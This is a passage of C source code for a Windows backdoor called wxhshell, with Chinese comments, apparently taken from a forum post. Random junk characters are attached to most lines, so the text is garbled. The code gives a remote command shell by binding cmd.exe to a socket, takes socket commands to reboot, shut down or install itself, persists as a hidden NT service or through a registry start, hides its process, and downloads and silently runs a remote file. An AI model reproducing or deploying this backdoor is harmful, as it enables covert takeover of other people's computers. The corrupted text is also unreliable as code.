  3W[||V[r]<  
  // 帮助 "MPS&OK  
  case '?': { WM9({BZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); AO-~dV  
    break; P e} T  
  } 0W 1bZPM  
  // 安装 !;t6\Z8&  
  case 'i': { A'uubFRL2[  
    if(Install()) O*F= xG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y|#< kS  
    else fHuWBC_YO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2 9z@ !  
    break; HKC&grp  
    } oh:.iL}j  
  // 卸载 <\d`}A:&  
  case 'r': { xgsEe3|  
    if(Uninstall()) {p$X*2ReB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); do l8O  
    else IUG}Q7w5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !h^_2IX  
    break; P#:nXc$  
    } |*~SR.[`  
  // 显示 wxhshell 所在路径 F$s:\ N  
  case 'p': { ] P_yN:~  
    char svExeFile[MAX_PATH]; ^= kr`5  
    strcpy(svExeFile,"\n\r"); n "I{aJ]K  
      strcat(svExeFile,ExeFile); ,{'ZP_  
        send(wsh,svExeFile,strlen(svExeFile),0); i_y%HG  
    break; 7?y([i\y  
    } s?9`dv} P  
  // 重启 nbv}Q-C  
  case 'b': { FZ FPzH  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (F#2z\$;  
    if(Boot(REBOOT)) T#}"?A|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QNZ#SG8  
    else { IR8qFWDZ  
    closesocket(wsh); nwi8>MG  
    ExitThread(0); 5IRUG)Icr  
    } iML?`%/vN  
    break; !W b Q9o  
    } ; Yt'$D*CP  
  // 关机 8%Ak   
  case 'd': { ,H/BW`rL]#  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rLp0)Go  
    if(Boot(SHUTDOWN)) ] $F%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YCG $GD  
    else { z|<?=c2P  
    closesocket(wsh); &!>.)I`  
    ExitThread(0); u} [.*e  
    } 3[R[ `l]v?  
    break; m-9ChF: U  
    } G,b*Qn5#  
  // 获取shell !3ji]q;uF  
  case 's': { LO,:k+&A+  
    CmdShell(wsh); 4@jX{{^6%  
    closesocket(wsh); 0>3Sn\gZ(  
    ExitThread(0); : TP\pH7E  
    break; cZ ,}1?!  
  } iG{xDj{CKv  
  // 退出 M?qvI  
  case 'x': { SM.KM_%K  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xE6hE'rh.O  
    CloseIt(wsh); |Syulus  
    break; Bf$` Hf6  
    } 76cT}l&.h8  
  // 离开 gAK"ShOhG=  
  case 'q': { g7v(g?  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N LSJ D  
    closesocket(wsh); Aot9^@4])  
    WSACleanup(); GjX6noqT  
    exit(1); tf>"fU\P  
    break; $g }aH(vf  
        } ey`E E/WV  
  } "|/Q5 *L  
  } $AdBX}{  
,HK-mAH   
  // 提示信息 .i3_D??  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,3Aiz|v-  
} ?:i,%]zxC  
  } 5wC,:c[H7  
Bk/&H-NI  
  return; 5p~hUP]tT  
} Fm[3Btn  
5a5)hmO RB  
// shell模块句柄 pzeCdHF  
int CmdShell(SOCKET sock) g Cx#&aXS  
{ {n(/ c33  
STARTUPINFO si; [=^Wj`;  
ZeroMemory(&si,sizeof(si)); f8)fm2^09  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #cqI0ny?G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wotw nE  
PROCESS_INFORMATION ProcessInfo; 4-oaq'//BT  
char cmdline[]="cmd"; 6K^O.VoV^J  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); HmbQL2  
  return 0; H`rd bE  
} plM:7#eA  
'i4L.&  
// 自身启动模式 m"wP]OQH*+  
int StartFromService(void) N t\ZM  
{ `7R-2 w<b?  
typedef struct 4u#TKr.  
{ ;?%_jB$P  
  DWORD ExitStatus; LX#gc.c  
  DWORD PebBaseAddress; 6!wk5#  
  DWORD AffinityMask; 664D5f#EJ  
  DWORD BasePriority; i ;^Ya  
  ULONG UniqueProcessId; 9T0g%&  
  ULONG InheritedFromUniqueProcessId; i:1 @ vo  
}   PROCESS_BASIC_INFORMATION; q`UaJ_7  
- B?c F9  
PROCNTQSIP NtQueryInformationProcess; WWATG=  
L2OR<3*|Av  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z7TyS.z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /O~Np|~v  
!@ {sM6U  
  HANDLE             hProcess; m~uT8R#$  
  PROCESS_BASIC_INFORMATION pbi; [pInF Qh6  
^!gq_x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^9kx3Pw?8  
  if(NULL == hInst ) return 0; UqNUX?(  
W||&Xb  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); egVKAR-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !;0K=~(Y^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JfmYr47Pv  
tS-gaT`T  
  if (!NtQueryInformationProcess) return 0; =}.gU WV  
-gUp/ #l1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QW tDZ>  
  if(!hProcess) return 0; (>NZYPw^3  
bF5"ab0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; na"!"C s3  
5lM2nhlf'b  
  CloseHandle(hProcess); Sa kew  
gtePo[ZH.P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dCe LW  
if(hProcess==NULL) return 0; "p7nngn~  
Keem \/  
HMODULE hMod; $sS~hy*  
char procName[255]; lqKj;'  
unsigned long cbNeeded; Qj*.Z4ue  
fP\q?X@]E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z+-o}i  
K6sXw[VC[  
  CloseHandle(hProcess); .ws86stFSb  
&BRa5`  
if(strstr(procName,"services")) return 1; // 以服务启动 } `5k^J$x  
9\c]I0)3p  
  return 0; // 注册表启动 zo8D"  
} 6)7cw8^  
Fk^N7EJ:$  
// 主模块 E&eY79  
int StartWxhshell(LPSTR lpCmdLine) }}i'8  
{ I]E 3&gnC  
  SOCKET wsl; o]RZd--c<  
BOOL val=TRUE; k5Fj "U  
  int port=0; >0W P:-\*  
  struct sockaddr_in door; 5doi4b>]!  
^ nI2<P  
  if(wscfg.ws_autoins) Install(); cR_pC 9z  
IWq#W(yM  
port=atoi(lpCmdLine); n\3#69VY  
&T~X`{V]`  
if(port<=0) port=wscfg.ws_port; q\~ #g.}  
8-B7_GoJ+B  
  WSADATA data; YWvD+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {:|3V 7X  
ir/uHN@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X;N?L%Pp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); kDMvTVd  
  door.sin_family = AF_INET; cw{TS  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Y5LAt:  
  door.sin_port = htons(port); 5l 3PAG  
N)G HQlgH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { V`1{*PrI@L  
closesocket(wsl); #Pp:H/b  
return 1; ^n(FO,8c  
} fg3Jv*  
S`U8\KTi  
  if(listen(wsl,2) == INVALID_SOCKET) { 75zU,0"j  
closesocket(wsl); t`+A;%=K]  
return 1; ,1#? 0q  
} BB\GrD  
  Wxhshell(wsl); [Hx(a.,d  
  WSACleanup(); %DYh<U4N  
gS5MoW1  
return 0; gTXpaB<  
W.MZN4=  
}  3Iv^  
ZBK0`7#&EH  
// 以NT服务方式启动 =g9n =spAn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) CTRUr"  
{ Z%]K,9K  
DWORD   status = 0; Sv{n?BYq  
  DWORD   specificError = 0xfffffff; uBx\xeI  
_&hM6N  
  serviceStatus.dwServiceType     = SERVICE_WIN32; f7~dn#<@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5MaN {*)l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4d5c ]%  
  serviceStatus.dwWin32ExitCode     = 0; Wvf>5g)?  
  serviceStatus.dwServiceSpecificExitCode = 0; 6r<a  
  serviceStatus.dwCheckPoint       = 0; 5 ix*wu`,  
  serviceStatus.dwWaitHint       = 0; WJh TU@'  
<v|"eq}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); eV|N@  
  if (hServiceStatusHandle==0) return; kk-<+R2  
kg]6q T;Y  
status = GetLastError(); w Wb>V&3  
  if (status!=NO_ERROR) $lJcC |*  
{ id1cZig  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DJ,LQj  
    serviceStatus.dwCheckPoint       = 0; w5HIR/kP  
    serviceStatus.dwWaitHint       = 0; g2|Myz)  
    serviceStatus.dwWin32ExitCode     = status; 6MT (k:  
    serviceStatus.dwServiceSpecificExitCode = specificError; dgkS5Q$/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); V2Vr7v=Y"  
    return; ~~OFymQ%?q  
  } &< BBP n@\  
OB(o OPH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \Mg_Q$  
  serviceStatus.dwCheckPoint       = 0; 8@m$(I +  
  serviceStatus.dwWaitHint       = 0; ,*XB11P  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3 }fOb  
} 7EE{*}?0E  
6WY/[TC-  
// 处理NT服务事件,比如:启动、停止 ^~YT<cJ1h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2CzhaO  
{ 0hemXvv1  
switch(fdwControl) P }sr  
{ {JgY-#R?{(  
case SERVICE_CONTROL_STOP: z$%twBg}#  
  serviceStatus.dwWin32ExitCode = 0; 2IJK0w@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ^HC 6v;K  
  serviceStatus.dwCheckPoint   = 0; D!rPF)K )  
  serviceStatus.dwWaitHint     = 0; H#SQ>vyAV  
  { 1D*=ZkA)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l*1|B3#m!  
  } 1hG#  
  return; t WI-  
case SERVICE_CONTROL_PAUSE: Q1,sjLO-a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z>9@)wo  
  break; M|*YeVs9#  
case SERVICE_CONTROL_CONTINUE: h !^= c  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dz_S6o ]  
  break; w>%@Ug["  
case SERVICE_CONTROL_INTERROGATE: ~#pATPW@(  
  break; MVYd\)\o  
}; cpQ5F;FI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1F@j?)(  
} yajdRU  
&xnQLz:#  
// 标准应用程序主函数  /|0-O''  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =>$)F 4LW  
{ ]q]xU,  
3:+9H}Q  
// 获取操作系统版本 G *CPj^O  
OsIsNt=GetOsVer(); 4ijtx)SA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); }s~c(sL?;  
$h#sb4ek  
  // 从命令行安装 `z&#|0O  
  if(strpbrk(lpCmdLine,"iI")) Install(); xlI =)ak{  
Pyo|Sgk  
  // 下载执行文件 \ 2\{c1df  
if(wscfg.ws_downexe) { V@ >(xe7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) FZHA19Kb  
  WinExec(wscfg.ws_filenam,SW_HIDE); --5F*a{R|  
} 9wvlR6z;u  
n:5M E*  
if(!OsIsNt) { Rf:.'/<^  
// 如果时win9x,隐藏进程并且设置为注册表启动 /LD3Bb)O  
HideProc(); [9; @1I<x  
StartWxhshell(lpCmdLine); XiW1X6  
} KdVKvs[  
else *1)>He$qL  
  if(StartFromService()) n7Ao.b%uk-  
  // 以服务方式启动 ~>u .d  
  StartServiceCtrlDispatcher(DispatchTable); 5hrI#fpOR  
else xRh 22z  
  // 普通方式启动 owAO&"C  
  StartWxhshell(lpCmdLine); H [=\_X1o(  
/R# zu_i  
return 0; ? #K|l*  
}
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只看该作者 1 发表于: 2006-10-10
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